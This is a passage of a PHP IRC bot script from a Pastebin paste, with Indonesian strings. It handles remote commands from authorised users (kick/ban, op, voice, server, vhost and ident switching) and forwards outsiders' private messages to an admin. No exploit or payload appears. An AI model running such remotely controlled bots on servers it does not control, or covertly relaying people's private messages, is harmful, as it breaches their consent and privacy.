  496.                  fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  497.                  fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
  498.                }
  499.                elseif ($com[3]==':`changenick') {
  500.                  $nick = $nicky[rand(0,count($nicky) - 1)];
  501.                  fputs($fp, 'NICK '.$nick . CRL);
  502.                  if (substr($dCommand,0,3)=='433') {
  503.                    $nick = $nicky[rand(0,count($nicky) - 1)];
  504.                    fputs($fp, 'NICK '.$nick . CRL);
  505.                  }
  506.                }
  507.                elseif ($com[3]==':`op' && $chan) {
  508.                  if ($com[4]) { $opnick = $com[4]; }
  509.                  else { $opnick = $dNick; }
  510.                  fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  511.                }
  512.                elseif ($com[3]==':`deop' && $chan) {
  513.                  if ($com[4]) { $opnick = $com[4]; }
  514.                  else { $opnick = $dNick; }
  515.                  fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
  516.                }
  517.                elseif ($com[3]==':`v' && $chan) {
  518.                  if ($com[4]) { $vonick = $com[4]; }
  519.                  else { $vonick = $dNick; }
  520.                  fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  521.                }
  522.                elseif ($com[3]==':`dv' && $chan) {
  523.                  if ($com[4]) { $vonick = $com[4]; }
  524.                  else { $vonick = $dNick; }
  525.                  fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  526.                }
  527.                elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
  528.                  $msg = strstr($data,":`awaymsg");
  529.                  $msg = str_replace(":`awaymsg","",$msg);
  530.                  if (strlen($msg)<3) {
  531.                    $raway="on";
  532.                    fputs($fp,'AWAY : ' . 'AWAY' . CRL);
  533.                  }
  534.                  else {
  535.                    $raway="off";
  536.                    fputs($fp,'AWAY : ' . $msg . CRL);
  537.                  }
  538.                }
  539.                elseif ($com[3]==':`mode' && $com[4] && $chan) {
  540.                  fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
  541.                }
  542.                elseif ($com[3]==':`nickmode' && $com[4]) {
  543.                  $nickmode = $com[4];
  544.                  fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
  545.                }
  546.                elseif ($com[3]==':`chanlist') {
  547.                  fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
  548.                }
  549.                elseif ($com[3]==':`userlist') {
  550.                  $userlist="";
  551.                  foreach ($auth as $user) {
  552.                    if ($user["pass"]) { $pass="-pass ok"; }
  553.                    else { $pass="-no pass"; }
  554.                    $userlist .= $user["name"].'('.$user["status"].$pass.') ';
  555.                  }
  556.                  fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
  557.                }
  558.                elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
  559.                  $msg = strstr($data,":`quit");
  560.                  $msg = str_replace(":`quit","",$msg);
  561.                  if (strlen($msg)>3) {
  562.                    $msg = str_replace(" ","_",$msg);
  563.                  }
  564.                  $quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
  565.                  fputs($fp, 'QUIT ' . $quitmsg . CRL);
  566.                  $keluar = 1;
  567.                  exit;
  568.                }
  569.                elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
  570.                  if ($com[4]) { $localhost = $com[4]; }
  571.                  else { $localhost = 'localhost'; }
  572.                  $keluar = 0;
  573.                  fputs($fp, 'QUIT Ganti VHOST' . CRL);
  574.                }
  575.                elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
  576.                  if (empty($com[4])) {
  577.                    $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
  578.                  }
  579.                  else { $remotehost = $com[4]; }
  580.                  $keluar = 0;
  581.                  fputs($fp, "QUIT Ganti Server".CRL);
  582.                }
  583.                elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
  584.                  if (!$com[4]) { $username = $username; }
  585.                  else { $username = $com[4]; }
  586.                  $keluar = 0;
  587.                  fputs($fp, 'QUIT Ganti Ident ' . CRL);
  588.                }
  589.                elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
  590.                  if (!$com[4]) { $realname = "--"; }
  591.                  else { $realname = $com[4]; }
  592.                  $keluar = 0;
  593.                  fputs($fp, 'QUIT Ganti Nama' . CRL);
  594.                }
  595.                elseif ($com[3]==':`topic' && $com[4] && $chan) {
  596.                  $msg = strstr($data,":`topic");
  597.                  $msg = str_replace(":`topic ","",$msg);
  598.                  fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
  599.                }
  600.                elseif ($com[3]==':!help' && !$chan) {
  601.                  fputs($fp,'PRIVMSG '.$dNick.' :Helpnya ga tersedia nich' . CRL);
  602.                }
  603.              }
  604.            }
  605.          }
  606.          elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
  607.            if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
  608.              if (!ereg("#",$dCommand)) {
  609.                if ($log=="on") {
  610.                  fputs($fp,'PRIVMSG '. $admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
  611.                }
  612.                $inv = strstr($dFrom,'@');
  613.                foreach ($auth as $user) {
  614.                  if ($user["status"]=="user") {
  615.                    fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
  616.                  }
  617.                }
  618.              }
  619.            }
  620.            elseif (!ereg("#",$dCommand)) {
  621.              if ($log=="on") {
  622.                fputs($fp,'PRIVMSG '.$admin.' :6' . $dFrom . '12:' .$iText. CRL);
  623.              }
  624.            }
  625.          }
  626.        }
  627.      }
  628.      elseif (substr($data,0,4) == 'PING') {
  629.        fputs($fp,'PONG ' . substr($data,5) . CRL);
  630.        $smile = $querym[rand(0,count($querym) - 1)];
  631.        $kata = $shouts[rand(0,count($shouts) - 1)];
  632.        //fputs($fp,'PRIVMSG #teamhack :' . $kata . ' ' . $smile . CRL);
  633.      }
  634.    }
  635.  }
  636.  fclose($fp);
  637. } while ($keluar == 0);
  638. }
  639.  
  640. hajar($nick);
  641.  
  642. ?>
RAW Paste Data
Pastebin PRO Autumn Special!
Get 40% OFF on Pastebin PRO accounts!
Top